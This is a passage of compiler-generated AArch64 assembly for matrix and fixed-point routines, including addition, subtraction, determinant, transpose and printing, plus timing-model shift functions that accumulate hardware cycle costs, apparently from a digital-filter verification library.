add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
ldr d2, [x1, x0]
ldr w0, [sp, 64]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 60]
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
fadd d0, d1, d0
ldr w1, [sp, 60]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L330:
ldr w1, [sp, 64]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L331
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L329:
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L332
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L328:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L333
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L319:
ldr w1, [sp, 68]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L334
b .L305
.L337:
nop
.L305:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L336
bl __stack_chk_fail
.L336:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE56:
.size double_exp_matrix, .-double_exp_matrix
.align 2
.global fxp_add_matrix
.type fxp_add_matrix, %function
fxp_add_matrix:
.LFB57:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str w0, [sp, 60]
str w1, [sp, 56]
str x2, [sp, 48]
str x3, [sp, 40]
str x4, [sp, 32]
str wzr, [sp, 72]
b .L339
.L342:
str wzr, [sp, 76]
b .L340
.L341:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x2, [x0, x1, lsl 3]
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x3, [x0, x1, lsl 3]
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x19, x1, x0
mov x1, x3
mov x0, x2
bl fxp_add
mov x1, x0
ldr w0, [sp, 76]
str x1, [x19, x0, lsl 3]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L340:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L341
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L339:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L342
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE57:
.size fxp_add_matrix, .-fxp_add_matrix
.align 2
.global fxp_sub_matrix
.type fxp_sub_matrix, %function
fxp_sub_matrix:
.LFB58:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str w0, [sp, 60]
str w1, [sp, 56]
str x2, [sp, 48]
str x3, [sp, 40]
str x4, [sp, 32]
str wzr, [sp, 72]
b .L344
.L347:
str wzr, [sp, 76]
b .L345
.L346:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x2, [x0, x1, lsl 3]
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x3, [x0, x1, lsl 3]
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x19, x1, x0
mov x1, x3
mov x0, x2
bl fxp_sub
mov x1, x0
ldr w0, [sp, 76]
str x1, [x19, x0, lsl 3]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L345:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L346
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L344:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L347
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE58:
.size fxp_sub_matrix, .-fxp_sub_matrix
.section .rodata
.align 3
.LC20:
.string "\nMatrix\n=====================\n"
.align 3
.LC21:
.string "#matrix[%d][%d]: %2.2f "
.text
.align 2
.global print_matrix
.type print_matrix, %function
print_matrix:
.LFB59:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl puts
str wzr, [sp, 40]
b .L349
.L352:
str wzr, [sp, 44]
b .L350
.L351:
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr w2, [sp, 44]
ldr w1, [sp, 40]
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L350:
ldr w1, [sp, 44]
ldr w0, [sp, 16]
cmp w1, w0
bcc .L351
mov w0, 10
bl putchar
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L349:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
bcc .L352
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE59:
.size print_matrix, .-print_matrix
.align 2
.global determinant
.type determinant, %function
determinant:
.LFB60:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -192
str x0, [sp, 40]
str w1, [sp, 36]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
str xzr, [sp, 64]
ldr w0, [sp, 36]
cmp w0, 0
ble .L354
ldr w0, [sp, 36]
cmp w0, 1
bne .L355
ldr x0, [sp, 40]
ldr d0, [x0]
str d0, [sp, 64]
b .L354
.L355:
ldr w0, [sp, 36]
cmp w0, 2
bne .L356
ldr x0, [sp, 40]
ldr d1, [x0]
ldr x0, [sp, 40]
add x0, x0, 32
ldr d0, [x0, 8]
fmul d1, d1, d0
ldr x0, [sp, 40]
add x0, x0, 32
ldr d2, [x0]
ldr x0, [sp, 40]
ldr d0, [x0, 8]
fmul d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 64]
b .L354
.L356:
str xzr, [sp, 64]
str wzr, [sp, 56]
b .L357
.L366:
str wzr, [sp, 48]
b .L358
.L365:
mov w0, 1
str w0, [sp, 48]
b .L359
.L364:
str wzr, [sp, 60]
str wzr, [sp, 52]
b .L360
.L363:
ldr w1, [sp, 52]
ldr w0, [sp, 56]
cmp w1, w0
beq .L369
ldrsw x0, [sp, 48]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 48]
sub w2, w1, #1
ldrsw x1, [sp, 52]
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [sp, 60]
sxtw x1, w2
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
b .L362
.L369:
nop
.L362:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L360:
ldr w1, [sp, 52]
ldr w0, [sp, 36]
cmp w1, w0
blt .L363
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L359:
ldr w1, [sp, 48]
ldr w0, [sp, 36]
cmp w1, w0
blt .L364
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L358:
ldr w0, [sp, 36]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
blt .L365
ldr w0, [sp, 56]
scvtf d1, w0
fmov d0, 1.0e+0
fadd d1, d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmov d1, d0
ldr x0, [sp, 40]
ldrsw x1, [sp, 56]
ldr d0, [x0, x1, lsl 3]
fmul d8, d1, d0
ldr w0, [sp, 36]
sub w1, w0, #1
add x0, sp, 72
bl determinant
fmul d0, d8, d0
ldr d1, [sp, 64]
fadd d0, d1, d0
str d0, [sp, 64]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L357:
ldr w1, [sp, 56]
ldr w0, [sp, 36]
cmp w1, w0
blt .L366
.L354:
ldr d0, [sp, 64]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L368
bl __stack_chk_fail
.L368:
ldr d8, [sp, 16]
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE60:
.size determinant, .-determinant
.align 2
.global fxp_determinant
.type fxp_determinant, %function
fxp_determinant:
.LFB61:
.cfi_startproc
stp x29, x30, [sp, -336]!
.cfi_def_cfa_offset 336
.cfi_offset 29, -336
.cfi_offset 30, -328
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -320
str x0, [sp, 40]
str w1, [sp, 36]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 328]
mov x1, 0
str wzr, [sp, 48]
b .L371
.L374:
str wzr, [sp, 52]
b .L372
.L373:
ldrsw x0, [sp, 48]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldrsw x1, [sp, 52]
ldr x0, [x0, x1, lsl 3]
bl fxp_to_double
ldrsw x0, [sp, 52]
ldrsw x1, [sp, 48]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L372:
ldr w1, [sp, 52]
ldr w0, [sp, 36]
cmp w1, w0
blt .L373
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L371:
ldr w1, [sp, 48]
ldr w0, [sp, 36]
cmp w1, w0
blt .L374
str xzr, [sp, 64]
ldr w0, [sp, 36]
cmp w0, 0
ble .L375
ldr w0, [sp, 36]
cmp w0, 1
bne .L376
ldr d0, [sp, 72]
str d0, [sp, 64]
b .L375
.L376:
ldr w0, [sp, 36]
cmp w0, 2
bne .L377
ldr d1, [sp, 72]
ldr d0, [sp, 112]
fmul d1, d1, d0
ldr d2, [sp, 104]
ldr d0, [sp, 80]
fmul d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 64]
b .L375
.L377:
str xzr, [sp, 64]
str wzr, [sp, 56]
b .L378
.L387:
str wzr, [sp, 48]
b .L379
.L386:
mov w0, 1
str w0, [sp, 48]
b .L380
.L385:
str wzr, [sp, 60]
str wzr, [sp, 52]
b .L381
.L384:
ldr w1, [sp, 52]
ldr w0, [sp, 56]
cmp w1, w0
beq .L390
ldr w0, [sp, 48]
sub w2, w0, #1
ldrsw x0, [sp, 52]
ldrsw x1, [sp, 48]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
ldrsw x0, [sp, 60]
sxtw x1, w2
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 200
str d0, [x1, x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
b .L383
.L390:
nop
.L383:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L381:
ldr w1, [sp, 52]
ldr w0, [sp, 36]
cmp w1, w0
blt .L384
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L380:
ldr w1, [sp, 48]
ldr w0, [sp, 36]
cmp w1, w0
blt .L385
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L379:
ldr w0, [sp, 36]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
blt .L386
ldr w0, [sp, 56]
scvtf d1, w0
fmov d0, 1.0e+0
fadd d1, d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmov d1, d0
ldrsw x0, [sp, 56]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
fmul d8, d1, d0
ldr w0, [sp, 36]
sub w1, w0, #1
add x0, sp, 200
bl determinant
fmul d0, d8, d0
ldr d1, [sp, 64]
fadd d0, d1, d0
str d0, [sp, 64]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L378:
ldr w1, [sp, 56]
ldr w0, [sp, 36]
cmp w1, w0
blt .L387
.L375:
ldr d0, [sp, 64]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 328]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L389
bl __stack_chk_fail
.L389:
ldr d8, [sp, 16]
ldp x29, x30, [sp], 336
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE61:
.size fxp_determinant, .-fxp_determinant
.align 2
.global transpose
.type transpose, %function
transpose:
.LFB62:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str w3, [sp, 8]
str wzr, [sp, 40]
b .L392
.L395:
str wzr, [sp, 44]
b .L393
.L394:
ldrsw x0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 44]
lsl x0, x0, 5
ldr x2, [sp, 16]
add x0, x2, x0
ldrsw x2, [sp, 44]
ldr d0, [x1, x2, lsl 3]
ldrsw x1, [sp, 40]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L393:
ldr w1, [sp, 44]
ldr w0, [sp, 8]
cmp w1, w0
blt .L394
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L392:
ldr w1, [sp, 40]
ldr w0, [sp, 12]
cmp w1, w0
blt .L395
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE62:
.size transpose, .-transpose
.align 2
.global fxp_transpose
.type fxp_transpose, %function
fxp_transpose:
.LFB63:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str w3, [sp, 8]
str wzr, [sp, 40]
b .L397
.L400:
str wzr, [sp, 44]
b .L398
.L399:
ldrsw x0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 44]
lsl x0, x0, 5
ldr x2, [sp, 16]
add x0, x2, x0
ldrsw x2, [sp, 44]
ldr x2, [x1, x2, lsl 3]
ldrsw x1, [sp, 40]
str x2, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L398:
ldr w1, [sp, 44]
ldr w0, [sp, 8]
cmp w1, w0
blt .L399
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L397:
ldr w1, [sp, 40]
ldr w0, [sp, 12]
cmp w1, w0
blt .L400
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE63:
.size fxp_transpose, .-fxp_transpose
.align 2
.global generic_timing_shift_l_double
.type generic_timing_shift_l_double, %function
generic_timing_shift_l_double:
.LFB64:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 24]
str x0, [sp, 16]
str w1, [sp, 12]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 24]
lsl w2, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 28]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 3
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr x0, [sp, 16]
ldr d0, [x0]
str d0, [sp, 40]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 2
add w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str wzr, [sp, 36]
b .L402
.L403:
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 4
add w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 60]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 64]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 68]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 72]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 88]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 128]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L402:
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 36]
cmp w1, w0
blt .L403
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr d0, [sp, 24]
str d0, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 2
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 60]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 64]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 72]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 68]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 28]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 116]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr d0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE64:
.size generic_timing_shift_l_double, .-generic_timing_shift_l_double
.align 2
.global generic_timing_shift_r_double
.type generic_timing_shift_r_double, %function
generic_timing_shift_r_double:
.LFB65:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 24]
str x0, [sp, 16]
str w1, [sp, 12]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 24]
lsl w2, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 28]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 3
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 40]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 3
sub w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 64]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 60]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 68]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 72]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
add w0, w1, w0
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [sp, 12]
sub w0, w0, #1
str w0, [sp, 36]
b .L406
.L407:
ldrsw x0, [sp, 36]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 4
sub w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 60]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 64]
lsl w0, w0, 2
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 68]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 72]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
lsl w0, w0, 2
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
